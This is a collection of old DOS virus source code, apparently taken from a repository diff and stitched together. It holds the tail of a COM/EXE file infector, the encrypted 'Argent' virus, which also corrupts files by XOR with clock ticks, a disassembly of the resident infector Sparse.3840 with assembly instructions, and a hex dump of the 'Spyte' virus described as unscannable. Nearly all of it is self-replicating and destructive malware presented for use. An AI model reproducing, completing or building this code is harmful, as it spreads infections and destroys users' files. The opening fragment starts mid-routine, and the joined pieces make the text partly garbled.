; mov bx,0010000011000010b ;read/write disable int 24h
; mov dx,0000000000010001b ;error if not found, != open
; int 21h
mov ax,3d02h
mov dx,si
int 21h
mov bx,ax
push cs cs
pop ds es
mov ah,57h ;get file date/time
mov al,0
int 21h
mov file_date,dx
mov file_time,cx
mov ah,3fh ;read (exe) header
mov cx,1ch
lea dx,exe_header
int 21h
cmp word ptr [exe_header+12h],'IA' ;already infected(exe)
jne check_com
jmp close_file
check_com:
cmp word ptr [exe_header],'IA' ;already infected(com)
jne goto_end
jmp close_file
goto_end:
mov ax,4202h ;goto end of file
mov cx,0
mov dx,0
int 21h
mov file_size1,ax
mov file_size2,dx
mov ah,40h
lea dx,start
mov cx,virlen
int 21h
mov ax,4200h
mov cx,0
mov dx,0
int 21h
cmp word ptr [exe_header],'ZM'
jne infect_com
jmp infect_exe
infect_com:
cmp file_size2,0
jne close_file
mov ax,file_size1
sub ax,5
mov jmp_2,ax
mov ah,40h
mov cx,5
lea dx,jmp_1
int 21h
jmp close_file
infect_exe:
mov ax,4202h
mov dx,0
mov cx,0
int 21h
mov cx,200h ;512
div cx
inc ax
mov word ptr [exe_header+2],dx
mov word ptr [exe_header+4],ax
mov ax,file_size1 ;old file size
mov dx,file_size2
mov cx,10h
div cx
sub ax,word ptr [exe_header+8h]
mov word ptr ds:[exe_header+16h],ax
mov word ptr ds:[exe_header+14h],dx
mov word ptr [exe_header+12h],'IA'
mov ax,4200h
mov dx,0
mov cx,0
int 21h
mov ah,40h ;write exe header
mov cx,1Ch
lea dx,exe_header
int 21h
close_file:
mov dx,file_date
mov cx,file_time
and cl,11100000b
or cl,00001110b ;secs = 28
mov ax,5701h ;set time/date
int 21h
mov ah,3eh ;close file
int 21h
call pop_all
call push_all ;restore filename
mov ax,4301h ;set attrib original attrib
mov cx,cs:attribute
int 21h
call pop_all
ret
exe_header db 41h,49h,90h,0cdh,20h ;5 first bytes
db 1Ch-5 dup(0) ;28
jmp_1 db 41h,49h ;inc cx, dec cx
db 0e9h ;jmp
jmp_2 dw ? ;xxxx
file_buffer db 0ffh,259 dup(0) ;20 filename 12345678.123,0
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
; Int 1Bh
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
new_int_1Bh:
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
; Int 09h
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
new_int_09h:
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
; Int 1Ch
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
new_int_1Ch:
call push_all
mov al,cs:start_time
cmp al,cs:time_h
jne exit_1ch
jmp rave_it
exit_1Ch:
call pop_all
jmp dword ptr cs:original_int1Ch
time_h db 0
scroll_pos dw 32 ;bx
do_inc dw 0 ;dx
rave_it:
inc cs:do_inc
cmp cs:do_inc,3
jne dont_high
mov cs:do_inc,0
inc cs:scroll_pos
dont_high:
mov cx,cs:scroll_pos
mov ax,0
scroll_1:
call scroll
inc ax
loop scroll_1
mov cx,cs:scroll_pos
add cx,cx
scroll_2:
call scroll
dec ax
loop scroll_2
jmp rave_it
virlen equ offset eof - offset start
eof:
end start
+405
View File
@@ -0,0 +1,405 @@
; SOM.asm : [Argent] by Abraxas
; Created wik the Phalcon/Skism Mass-Produced Code Generator
; from the configuration file skeleton.cfg
.model tiny ; Handy directive
.code ; Virus code segment
org 100h ; COM file starting IP
id = 'Z1' ; ID word for EXE infections
entry_point: db 0e9h,0,0 ; jmp decrypt
decrypt: ; handles encryption and decryption
mov cx,(offset heap - offset startencrypt)/2 ; iterations
patch_startencrypt:
mov di,offset startencrypt ; start of decryption
decrypt_loop:
db 2eh,81h,35h ; xor word ptr cs:[di], xxxx
decrypt_value dw 0 ; initialised at zero for null effect
inc di ; calculate new decryption location
inc di
loop decrypt_loop ; decrypt mo'
startencrypt:
call next ; calculate delta offset
next: pop bp ; bp = IP next
sub bp,offset next ; bp = delta offset
cmp sp,id ; COM or EXE?
je restoreEXE
restoreCOM:
lea si,[bp+save3]
mov di,100h
push di ; For later return
movsb
jmp short restoreEXIT
restoreEXE:
push ds
push es
push cs ; DS = CS
pop ds
push cs ; ES = CS
pop es
lea si,[bp+jmpsave2]
lea di,[bp+jmpsave]
movsw
movsw
movsw
restoreEXIT:
movsw
mov byte ptr [bp+numinfec],2 ; reset infection counter
mov ah,1Ah ; Set new DTA
lea dx,[bp+newDTA] ; new DTA @ DS:DX
int 21h
mov ah,47h ; Get current directory
mov dl,0 ; Current drive
lea si,[bp+origdir] ; DS:SI->buffer
int 21h
mov byte ptr [bp+backslash],'\' ; Prepare for later CHDIR
mov ax,3524h ; Get int 24 handler
int 21h ; to ES:BX
mov word ptr [bp+oldint24],bx; Save it
mov word ptr [bp+oldint24+2],es
mov ah,25h ; Set new int 24 handler
lea dx,[bp+offset int24] ; DS:DX->new handler
int 21h
push cs ; Restore ES
pop es ; 'cuz it was changed
dir_scan: ; "dot dot" traversal
lea dx,[bp+exe_mask]
call infect_mask
lea dx,[bp+com_mask]
call infect_mask
mov ah,3bh ; change directory
lea dx,[bp+dot_dot] ; "cd .."
int 21h
jnc dir_scan ; go back for mo!
done_infections:
mov ah,2ch ; Get current time
int 21h
cmp dl,50 ; Check the percentage
jbe activate
exit_virus:
mov ax,2524h ; Restore int 24 handler
lds dx,[bp+offset oldint24] ; to original
int 21h
push cs
pop ds
mov ah,3bh ; change directory
lea dx,[bp+origdir-1] ; original directory
int 21h
mov ah,1ah ; restore DTA to default
mov dx,80h ; DTA in PSP
cmp sp,id-4 ; EXE or COM?
jz returnEXE
returnCOM:
int 21h
retn ; 100h is on stack
returnEXE:
pop es
pop ds
int 21h
mov ax,es ; AX = PSP segment
add ax,10h ; Adjust for PSP
add word ptr cs:[bp+jmpsave+2],ax
add ax,word ptr cs:[bp+stacksave+2]
cli ; Clear intrpts for stack manipulation
mov sp,word ptr cs:[bp+stacksave]
mov ss,ax
sti
db 0eah ; jmp ssss:oooo
jmpsave dd ? ; Original CS:IP
stacksave dd ? ; Original SS:SP
jmpsave2 db ? ; Actually four bytes
save3 db 0cdh,20h,0 ; First 3 bytes of COM file
stacksave2 dd ?
activate: ; Conditions satisfied
mov ax,04301h ; DOS set file attributes function
xor cx,cx ; File will have no attributes
lea dx,[di + 01Eh] ; DX points to file name
int 021h
mov ax,03D02h ; DOS open file function, r/w
lea dx,[di + 01Eh] ; DX points to file name
int 021h
xchg bx,ax ; Transfer file handle to AX
c_crypt_loop: mov ah,03Fh ; DOS read from file function
mov cx,4096 ; Read 4k of characters
lea dx,[bp - 4096] ; DX points to the buffer
int 021h
or ax,ax ; Were 0 bytes read?
je close_c_file ; If so then close it up
push ax ; Save AX
lea si,[bp - 4096] ; SI points to the buffer
xor ah,ah ; BIOS get clock ticks function
int 01Ah
pop cx ; CX holds number of bytes read
push cx ; Save CX
corrupt_bytes: xor byte ptr [si],dl ; XOR byte by clock ticks
inc si ; Do the next byte
inc dx ; Change the key for next byte
loop corrupt_bytes ; Repeat until buffer is done
pop dx ; Restore DX (holds bytes read)
push dx ; Save count for write
mov ax,04201h ; DOS file seek function, current
mov cx,0FFFFh ; Seeking backwards
neg dx ; Seeking backwards
int 021h
mov ah,040h ; DOS write to file function
pop cx ; CX holds number of bytes read
lea dx,[bp - 4096] ; DX points to the buffer
int 021h
jmp short c_crypt_loop
close_c_file: mov ax,05701h ; DOS set file date/time function
mov cx,[di + 016h] ; CX holds old file time
mov dx,[di + 018h] ; DX holds old file data
int 021h
mov ah,03Eh ; DOS close file function
int 021h
mov ax,04301h ; DOS set file attributes function
xor ch,ch ; Clear CH for attributes
mov cl,[di + 015h] ; CL holds old attributes
lea dx,[di + 01Eh] ; DX points to file name
int 021h
mov ah,04Fh ; DOS find next file function
int 021h
jnc Activate ; If successful do next file
corrupt_end: pop di ; Restore DI
mov sp,bp ; Deallocate local buffer
pop bp ; Restore BP
jmp exit_virus
creator db '[Z10]',0 ; Mass Produced Code Generator
virusname db '[Argent]',0
author db 'Abraxas',0
infect_mask:
mov ah,4eh ; find first file
mov cx,7 ; any attribute
findfirstnext:
int 21h ; DS:DX points to mask
jc exit_infect_mask ; No mo files found
mov al,0h ; Open read only
call open
mov ah,3fh ; Read file to buffer
lea dx,[bp+buffer] ; @ DS:DX
mov cx,1Ah ; 1Ah bytes
int 21h
mov ah,3eh ; Close file
int 21h
cmp word ptr [bp+buffer],'ZM'; EXE?
jz checkEXE ; Why yes, yes it is!
checkCOM:
mov ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA
cmp ax,15000 ; Is it too small?
jb find_next
cmp ax,65535-(endheap-decrypt) ; Is it too large?
ja find_next
mov bx,word ptr [bp+buffer+1]; get jmp location
add bx,heap-decrypt+3 ; Adjust for virus size
cmp ax,bx
je find_next ; already infected
jmp infect_com
checkEXE: cmp word ptr [bp+buffer+10h],id ; is it already infected?
jnz infect_exe
find_next:
mov ah,4fh ; find next file
jmp short findfirstnext
exit_infect_mask: ret
infect_exe:
les ax, dword ptr [bp+buffer+14h] ; Save old entry point
mov word ptr [bp+jmpsave2], ax
mov word ptr [bp+jmpsave2+2], es
les ax, dword ptr [bp+buffer+0Eh] ; Save old stack
mov word ptr [bp+stacksave2], es
mov word ptr [bp+stacksave2+2], ax
mov ax, word ptr [bp+buffer + 8] ; Get header size
mov cl, 4 ; convert to bytes
shl ax, cl
xchg ax, bx
les ax, [bp+offset newDTA+26]; Get file size
mov dx, es ; to DX:AX
push ax
push dx
sub ax, bx ; Subtract header size from
sbb dx, 0 ; file size
mov cx, 10h ; Convert to segment:offset
div cx ; form
mov word ptr [bp+buffer+14h], dx ; New entry point
mov word ptr [bp+buffer+16h], ax
mov word ptr [bp+buffer+0Eh], ax ; and stack
mov word ptr [bp+buffer+10h], id
pop dx ; get file length
pop ax
add ax, heap-decrypt ; add virus size
adc dx, 0
mov cl, 9
push ax
shr ax, cl
ror dx, cl
stc
adc dx, ax
pop ax
and ah, 1 ; mod 512
mov word ptr [bp+buffer+4], dx ; new file size
mov word ptr [bp+buffer+2], ax
push cs ; restore ES
pop es
push word ptr [bp+buffer+14h] ; needed later
mov cx, 1ah
jmp short finishinfection
infect_com: ; ax = filesize
mov cx,3
sub ax,cx
lea si,[bp+offset buffer]
lea di,[bp+offset save3]
movsw
movsb
mov byte ptr [si-3],0e9h
mov word ptr [si-2],ax
add ax,103h
push ax ; needed later
finishinfection:
push cx ; Save # bytes to write
xor cx,cx ; Clear attributes
call attributes ; Set file attributes
mov al,2
call open
mov ah,40h ; Write to file
lea dx,[bp+buffer] ; Write from buffer
pop cx ; cx bytes
int 21h
mov ax,4202h ; Move file pointer
xor cx,cx ; to end of file
cwd ; xor dx,dx
int 21h
get_encrypt_value:
mov ah,2ch ; Get current time
int 21h ; dh=sec,dl=1/100 sec
or dx,dx ; Check if encryption value = 0
jz get_encrypt_value ; Get another if it is
mov [bp+decrypt_value],dx ; Set new encryption value
lea di,[bp+code_store]
mov ax,5355h ; push bp,push bx
stosw
lea si,[bp+decrypt] ; Copy encryption function
mov cx,startencrypt-decrypt ; Bytes to move
push si ; Save for later use
push cx
rep movsb
lea si,[bp+write] ; Copy writing function
mov cx,endwrite-write ; Bytes to move
rep movsb
pop cx
pop si
pop dx ; Entry point of virus
push di
push si
push cx
rep movsb ; Copy decryption function
mov ax,5b5dh ; pop bx,pop bp
stosw
mov al,0c3h ; retn
stosb
add dx,offset startencrypt - offset decrypt ; Calculate new
mov word ptr [bp+patch_startencrypt+1],dx ; starting offset of
call code_store ; decryption
pop cx
pop di
pop si
rep movsb ; Restore decryption function
mov ax,5701h ; Restore creation date/time
mov cx,word ptr [bp+newDTA+16h] ; time
mov dx,word ptr [bp+newDTA+18h] ; date
int 21h
mov ah,3eh ; Close file
int 21h
mov ch,0
mov cl,byte ptr [bp+newDTA+15h] ; Restore original
call attributes ; attributes
dec byte ptr [bp+numinfec] ; One mo infection
jnz mo_infections ; Not enough
pop ax ; remove call from stack
jmp done_infections
mo_infections: jmp find_next
open:
mov ah,3dh
lea dx,[bp+newDTA+30] ; filename in DTA
int 21h
xchg ax,bx
ret
attributes:
mov ax,4301h ; Set attributes to cx
lea dx,[bp+newDTA+30] ; filename in DTA
int 21h
ret
write:
pop bx ; Restore file handle
pop bp ; Restore relativeness
mov ah,40h ; Write to file
lea dx,[bp+decrypt] ; Concatenate virus
mov cx,heap-decrypt ; # bytes to write
int 21h
push bx
push bp
endwrite:
int24: ; New int 24h (error) handler
mov al,3 ; Fail call
iret ; Return control
exe_mask db '*.exe',0
com_mask db '*.com',0
dot_dot db '..',0
heap: ; Variables not in code
; The following code is the buffer for the write function
code_store: db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?)
oldint24 dd ? ; Storage for old int 24h handler
backslash db ?
origdir db 64 dup (?) ; Current directory buffer
newDTA db 43 dup (?) ; Temporary DTA
numinfec db ? ; Infections this run
buffer db 1ah dup (?) ; read buffer
endheap: ; End of virus
end entry_point
@@ -0,0 +1,356 @@
comment *
Sparse.3840
Disassembly by
Darkman/29A
Sparse.3840 is a 3584 bytes parasitic resident COM virus. Infects at load
and/or execute program by appending the virus to the infected file.
To compile Sparse.3840 with Turbo Assembler v 4.0 type:
TASM /M SPARSE.ASM
TLINK /t /x SPARSE.OBJ
*
.model tiny
.code
org 100h ; Origin of Sparse.3840
code_begin:
mov ax,4b55h ; Sparse.3840 function
int 21h
cmp ax,1231h ; Already resident?
je virus_exit ; Equal? Jump to virus_exit
mov ax,3521h ; Get interrupt vector 21h
int 21h
mov al,11101010b ; JMP imm32 (opcode 0eah)
mov [jmp_imm32],al ; Store JMP imm32 (opcode 0eah)
mov word ptr [int21_addr],bx
mov word ptr [int21_addr+02],es
mov ax,2521h ; Set interrupt vector 21h
lea dx,int21_virus ; DX = offset of int21_virus
int 21h
mov ah,4ah ; Resize memory block
push cs ; Save CS at stack
pop es ; Load ES from stack (CS)
mov bx,0efh ; BX = new size in paragraphs
int 21h
mov ah,48h ; Allocate memory
mov bx,1000h ; BX = number of paragraphs to all...
int 21h
db 89h,0c7h ; MOV DI,AX
db 89h,0c2h ; MOV DX,AX
mov ah,50h ; Set current PSP address
db 89h,0d3h ; MOV BX,DX
int 21h
mov ds,di ; DS = segment of allocated block
push ds ; Save DS at stack
pop es ; Load ES from stack (DS)
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)
mov si,00h ; SI = offset of Program Segment P...
mov di,00h ; DI = " " " " "
mov cx,0ffh ; Move two hundred and fifty-five ...
cld ; Clear direction flag
move_psp:
lodsb ; AL = byte of Program Segment Pre...
stosb ; Store byte of Program Segment Pr...
loop move_psp
push es es ; Save segments at stack
pop ds ss ; Load segments from stack
mov bx,100h ; BX = offset of beginning of code
push es bx ; Save registers at stack
mov si,es ; SI = segment of PSP for current ...
dec si ; SI = segment of current Memory C...
mov ds,si ; DS = " " " " "
mov ds:[01h],es ; Store PSP segment of owner
mov si,es ; SI = segment of allocated memory
mov ds,si ; DS = " " " "
db 31h,0c0h ; XOR AX,AX
db 31h,0dbh ; XOR BX,BX
db 31h,0c9h ; XOR CX,CX
db 31h,0d2h ; XOR DX,DX
retf ; Return far!
db 0f9h,0fbh,0ffh,6fh,0f5h,1ah,03h dup(40h),03 dup(23h),20h
db 49h,42h
virus_exit:
push cs cs ; Save segments at stack
pop es ds ; Load segments from stack
lea si,restore ; SI = offset of restore
mov di,0a0h ; DI = offset within commandline/d...
cld ; Clear direction flag
move_restore:
lodsb ; AL = byte of restore
stosb ; Store byte of restore
cmp si,offset restore+(restore_end-restore)
jne move_restore
db 11101001b ; JMP imm16 (opcode 0e9h)
dw 0ff0ah ; Offset of beginning of code
db 0ah dup(00h),40h,44h,1eh dup(00h),60h,44h,1eh dup(00h)
db 80h,44h,1eh dup(00h)
int21_exit:
jmp_imm32 db 11101010b ; JMP imm32 (opcode 0eah)
int21_addr dw ? ; Address of interrupt 21h
db 1dh dup(00h),0c0h,44h,1eh dup(00h),0e0h,44h,1eh dup(00h)
restore proc near ; Restore the infected file
lea si,code_end+100h ; SI = offset of code_end+100h
mov di,100h ; DI = offset of beginning of code
mov cx,0ef00h ; Move sixty-one thousand and one ...
cld ; Clear direction flag
move_origina:
lodsb ; AL = byte of original code
stosb ; Store byte of original code
loop move_origina
mov ax,00h ; Zero AX
mov bx,00h ; Zero BX
mov cx,00h ; Zero CX
mov dx,00h ; Zero DX
mov di,00h ; Zero DI
mov si,00h ; Zero SI
db 11101011b ; JMP imm8 (opcode 0ebh)
db 3eh ; Offset of beginning of code
endp
restore_end:
db 1eh dup(00h),40h,45h,1eh dup(00h),60h,45h,1eh dup(00h)
db 80h,45h,1eh dup(00h)
int21_virus:
pushf ; Save flags at stack
sti ; Set interrupt-enable flag
cmp ah,4bh ; Load and/or execute program; Sp...?
je load_and_exe ; Equal? Jump to load_and_exe
popf ; Load flags from stack
jmp int21_exit
load_and_exe:
cmp al,55h ; Sparse.3840 function?
jne infect_file ; Not equal? Jump to infect_file
popf ; Load flags from stack
mov ax,1231h ; Already resident
iret ; Interrupt return!
infect_file:
push ax bx cx dx si di ds es
jmp tst_file_ext
allocate_mem:
mov ah,48h ; Allocate memory
mov bx,0fffh ; BX = number of paragraphs to all...
int 21h
push ax ; Save AX at stack
mov ah,3dh ; Open file (read/write)
mov al,02h
int 21h
db 89h,0c3h ; MOV BX,AX
mov ah,42h ; Set current file position (EOF)
mov cx,00h ; CX:DX = offset from origin of ne...
mov dx,00h ; " " " " " " "
mov al,02h
int 21h
db 89h,0c1h ; MOV CX,AX
push cx ; Save CX at stack
mov ax,4200h ; Set current file position (SOF)
mov cx,00h ; CX:DX = offset from origin of ne...
mov dx,00h ; " " " " " " "
int 21h
pop cx ; Load CX from stack
pop ds ; Load DS from stack (AX)
mov dx,00 ; DX = offset of original code
mov ah,3fh ; Read from file
push cx ; Save CX at stack
int 21h
mov ah,42h ; Set current file position (SOF)
mov cx,00h ; CX:DX = offset from origin of ne...
mov dx,00h ; " " " " " " "
mov al,00h
int 21h
jmp exam_file
write_virus:
mov ah,40h ; Write to file
push ds ; Save DS at stack
push cs ; Save CS at stack
pop ds ; Load DS from stack (CS)
mov cx,(code_end-code_begin+100h)
lea dx,code_begin ; DX = offset of code_begin
int 21h
pop ds ; Load DS from stack
mov ah,40h ; Write to file
mov dx,00h ; DX = offset of original code
pop cx ; Load CX from stack
int 21h
mov ah,49h ; Free memory
push ds ; Save DS at stack
pop es ; Load ES from stack (DS)
int 21h
close_file:
mov ah,3eh ; Close file
int 21h
infect_exit:
pop es ds di si dx cx bx ax
popf ; Load flags from stack
jmp int21_exit
db 12h dup(00h),40h,46h,1eh dup(00h),60h,46h,1eh dup(00h)
db 80h,46h,1eh dup(00h)
tst_file_ext:
db 89h,0d6h ; MOV SI,DX
cld ; Clear direction flag
find_dot:
lodsb ; AL = byte of filename
cmp al,'.' ; Found the dot in the filename?
jne find_dot ; Not equal? Jump to find_dot
lodsb ; AL = byte of file extension
cmp al,'C' ; COM extension?
je com_file_ext ; Equal? Jump to com_file_ext
cmp al,'c' ; COM extension?
je com_file_ext ; Equal? Jump to com_file_ext
jmp infect_exit
nop
com_file_ext:
jmp allocate_mem
db 08h dup(00h)
exam_file:
push ds es di si ; Save registers at stack
mov si,00h ; SI = offset of original code
push cs ; Save CS at stack
pop es ; Load ES from stack (CS)
lea di,code_begin ; DI = offset of code_begin
cld ; Clear direction flag
mov cx,09h ; Compare nine bytes
exam_file_:
cmpsb ; Already infected?
jne not_infected ; Not equal? Jump to not_infected
loop exam_file_
pop si di es ds ; Load registers from stack
pop cx ; Load CX from stack
jmp close_file
nop
nop
nop
not_infected:
pop si di es ds ; Load registers from stack
jmp write_virus
db 1ah dup(00h),47h,1eh dup(00h),20h,47h,1eh dup(00h),40h
db 47h,1eh dup(00h),60h,47h,1eh dup(00h),80h,47h
db 1eh dup(00h),0a0h,47h,1eh dup(00h),0c0h,47h,1eh dup(00h)
db 0e0h,47h,1fh dup(00h),48h,1eh dup(00h),20h,48h
db 1eh dup(00h),40h,48h,1eh dup(00h),60h,48h,1eh dup(00h)
db 80h,48h,1eh dup(00h),0a0h,48h,1eh dup(00h),0c0h,48h
db 1eh dup(00h),0e0h,48h,1fh dup(00h),49h,1eh dup(00h),20h
db 49h,1eh dup(00h),40h,49h,1eh dup(00h),60h,49h
db 1eh dup(00h),80h,49h,1eh dup(00h),0a0h,49h,1eh dup(00h)
db 0c0h,49h,1eh dup(00h),0e0h,49h,1fh dup(00h),4ah
db 02h dup(00h),07h,02h,19h,00h,07h,12h,19h,00h,07h,22h,19h
db 00h,07h,32h,19h,00h,07h,42h,19h,00,07h,52h,19h,00h,07h
db 62h,19h,00h,20h,4ah,02h dup(00h),07h,82h,19h,00h,07h,92h
db 19h,00h,07h,0a2h,19h,00h,07h,0b2h,19h,00h,07h,0c2h,19h
db 00h,07h,0d2h,19h,00h,07h,0e2h,19h,00h,40h,4ah
db 02h dup(00h),07h,02h,1ah,00h,07h,12h,1ah,00h,07h,22h,1ah
db 00h,07h,32h,1ah,00h,07h,42h,1ah,00h,07h,52h,1ah,00h,07h
db 62h,1ah,00h,60h,4ah,02h dup(00h),07h,82h,1ah,00h,07h,92h
db 1ah,00h,07h,0d2h,1ah,00h,07h,0e2h,1ah,00h,07h,0f2h,1ah
db 00h,07h,02h,1bh,00h,07h,12h,1bh,00h,80h,4ah,02h dup(00h)
db 07h,32h,1bh,00h,07h,42h,1bh,00h,07h,62h,1bh,00h,07h,72h
db 1bh,00h,07h,82h,1bh,00h,07h,0a2h,1bh,00h,07h,0b2h,1bh,00h
db 0a0h,4ah,02h dup(00h),07h,0d2h,1bh,00h,07h,0e2h,1bh,00h
db 07h,0f2h,1bh,00h,07h,02h,1ch,00h,07h,12h,1ch,00h,07h,22h
db 1ch,00h,07h,42h,1ch,00h,0c0h,4ah,02h dup(00h),07h,72h,1ch
db 00h,07h,82h,1ch,00h,07h,0c2h,1ch,00h,07h,0d2h,1ch,00h,07h
db 0e2h,1ch,00h,07h,0f2h,1ch,00h,07h,02h,1dh,00h,0e0h,4ah
db 1fh dup(00h),4bh,1eh dup(00h),20h,4bh,1eh dup(00h),40h
db 4bh,1eh dup(00h),60h,4bh,1eh dup(00h),80h,4bh
db 1eh dup(00h),0a0h,4bh,1eh dup(00h),0c0h,4bh,1eh dup(00h)
db 0e0h,4bh,1fh dup(00h),4ch,1eh dup(00h),20h,4ch
db 1eh dup(00h),40h,4ch,1eh dup(00h),60h,4ch,1eh dup(00h)
db 80h,4ch,1eh dup(00h),0a0h,4ch,1eh dup(00h),0c0h,4ch
db 1eh dup(00h),0e0h,4ch,1fh dup(00h),4dh,1eh dup(00h),20h
db 4dh,1eh dup(00h),40h,4dh,1eh dup(00h),60h,4dh
db 1eh dup(00h),80h,4dh,1eh dup(00h),0a0h,4dh,1eh dup(00h)
db 0c0h,4dh,1eh dup(00h),0e0h,4dh,1fh dup(00h),4eh
db 02h dup(00h),07h,32h,1dh,00h,07h,42h,1dh,00h,07h,52h,1dh
db 11h dup(00h),20h,4eh,1eh dup(00h),40h,4eh,1eh dup(00h)
db 60h,4eh,1eh dup(00h),80h,4eh,1eh dup(00h),0a0h,4eh
db 1eh dup(00h),0c0h,4eh,1eh dup(00h),0e0h,4eh,1fh dup(00h)
db 4fh,1eh dup(00h),20h,4fh,1eh dup(00h),40h,4fh
db 1eh dup(00h),60h,4fh,1eh dup(00h),80h,4fh,1eh dup(00h)
db 0a0h,4fh,1eh dup(00h),0c0h,4fh,1eh dup(00h),0e0h,4fh
db 1fh dup(00h),50h,1eh dup(00h),20h,50h,1eh dup(00h),40h
db 50h,1eh dup(00h),60h,50h,1eh dup(00h),80h,50h
db 1eh dup(00h),0a0h,50h,1eh dup(00h),0c0h,50h,1eh dup(00h)
db 0e0h,50h,1fh dup(00h),51h,1eh dup(00h),20h,51h
db 1eh dup(00h),40h,51h,1eh dup(00h),60h,51h,1eh dup(00h)
db 80h,51h,0eh dup(00h),4dh,17h,0ah,0ffh,0fh,03h dup(00h)
db 'SHELLC',02h dup(00h)
code_end:
int 20h ; Terminate program!
end code_begin
+304
View File
@@ -0,0 +1,304 @@
ÕÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͸
³ Spyte Virus Source Code ³
³ Ripped by : The Head Hunter [FS] ³
³ ³
³ Unscannable (Yet...) ³
³ ³
ÔÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ;
db ff,c3,55,89,e5,a1,d4,02,05,96,00,a3,fa,ff,f0,7f,36,fc,9a,c6
db 02,4e,00,b8,0a,00,50,9a,9e,7c,fc,f7,89,ec,5d,cb,de,0e,e8,d7
db ff,ff,87,1e,c5,b6,0c,00,c4,be,08,00,8b,8e,06,fc,ff,ff,d7,33
db c0,fc,ac,3c,1b,75,05,80,f4,80,eb,4d,3c,10,ff,ff,73,07,80,e4
db 70,0a,e0,eb,42,3c,18,74,13,73,19,2c,0b,f1,10,02,c0,fe,fc,e9
db 8f,e9,2b,81,e1,ff,c2,a0,cb,fa,eb,23,3c,19,75,0b,ac,51,32,ff
db 9f,ed,8a,c8,b0,20,eb,0d,90,3c,1a,75,0f,ac,49,ff,7f,f0,ac,e3
db 03,ab,e2,fd,59,49,ab,e3,02,e2,a5,1f,0c,ff,87,ca,7b,08,34,30
db '0 Me'
db f0,ff,67,a2
db 'Running5c:\x'
db 9f,3b,fc,42,42,53,f9,fd,5c,4c,53,44,a8,28,f5,f9,64,e7,fc,f9
db f2,f8,09,7d,fc,f5,04
db 'PATH9'
db 81,ec,68,02,ff,c7,c4,7e,0e,06,57,8d,7e,f0,16,57,b8,0f,1b,7f
db 8c,2b,03,b0,00,bf,9d,00,0e,ed,9e,85,77,ed,50,ed,fd,0f,e6,fe
db bf,a6,e9,f8,10,bf,ae,1f,18,ed,f8,10,8d,be,98,fd,f1,af,53,18
db f5,fe,f5,98,fb,bf,e4,c7,87,d7,9a,11,e0,9a,69,00,40,fb,08,41
db 00,fb,86,0a,86,c8,ff,fc,21,f2,26,80,3d,00,75,23,ca,9e,13,09
db ca,bf,a6,d4,f8,12,1b,fe,72,58,fe,d0,fe,09,f7,06,26,c6,05,00
db eb,76,1e,07,f7,fc,01,d6,f2,0c,00,22,62,06,a9,a7,ec,22,ae,5f
db f8,0a,9a,9f,05,be,61,42,16,fe,97,2e,ff,9c,e3,48,34,e7,08,46
db f0,b8,10,c6,d3,d8,59,f1,9a,0e,02,d8,ee,ff,e8,fd,c6,86,b3,f9
db 01,eb,04,fe,f9,dd,fc,9a,85,f8,f3,09,e1,fd,d6,18,b3,40,31,d2
db bf,03,89,86,ae,f9,89,96,b0,df,fd,ff,b6,f6,c0,0a,fc,ee,9a,ac
db d7,fe,94,fd,31,de,25,f9,c1,0e,ea,83,c4,04,e7,f8,0a,f8,70,c4
db c1,8c,c2,2d,01,e9,da,00,52,b0,f0,ab,c9,f8,15,15,c9,f8,0a,68
db 56,fd,80,f0,db,be,6f,05,74,03,e9,65,ff,69,fd,da,4a,f8,09,fd
db 7f,38,fd,f9,f2,04,00,02,4c,53,02,44,2e,03,45,58,45,ff,2b,ef
db f3,56,01,c6,46,ad,00,bf,ce,02,4a,f2,eb,f0,0b,0c,d5,ce,06,fd
db ba,aa,87,f3,f0,f2,56,f2,71,b5,bf,d1,d9,9a,9e,2c,f2,d4,f8,0c
db d8,f8,10,d4,10,60,d8,f8,0c,fb,ad,fb,b0,9f,fd,38,9c,fc,b2,fc
db 80,f3,00,74,32,61,ff,e8,f1,6a,fe,a6,e1,3d,64,00,7c,1f,89,ff
db ed,46,aa,eb,03,ff,4e,aa,ff,76,aa,a0,e4,05,a0,e5,83,bf,55,7e
db aa,64,75,e6,eb,27,d7,f8,18,01,d7,f8,0c,71,e2,e0,e9,04,c0,09
db fb,ec,1d,c3,c2,9a,c2,01,f8,31,c0,44,e1,91,34,3f,1c,fc,bf,02
db 00,1e,57,be,cb,8e,c6,bf,3c,0c,e0,c0,e9,96,02,50,e9,3f,fc,71
db 5e,fc,19,fc,ed,fe,d3,9a,f3,29,e4,18,e1,cb,9a,d8,b7,bb,8b,ec
db ff,f7,1e,fc,c5,76,06,ac,8a,d8,32,ff,03,de,e1,e1,47,56,10,fe
db 1e,f0,0a,f0,c8,32,ed,f3,a4,32,ff,ff,c0,aa,4f,b8,00,43,c5,56
db 0e,42,cd,21,1f,5e,72,06,43,7a,f7,c1,18,1e,25,d9,3b,f3,74,1d
db f8,87,e1,8a,e0,ac,3c,3b,74,05,aa,f2,3f,7c,75,f4,80,fc,3a,74
db c2,fb,5c,74,bd,b0,5c,38,fe,38,b8,8b,c7,d9,2b,c7,48,aa,1f,d3
db f9,5d,ca,08,97,83,ec,20,94,8d,7e,c3,ff,e0,16,07,c9,1f,76,02
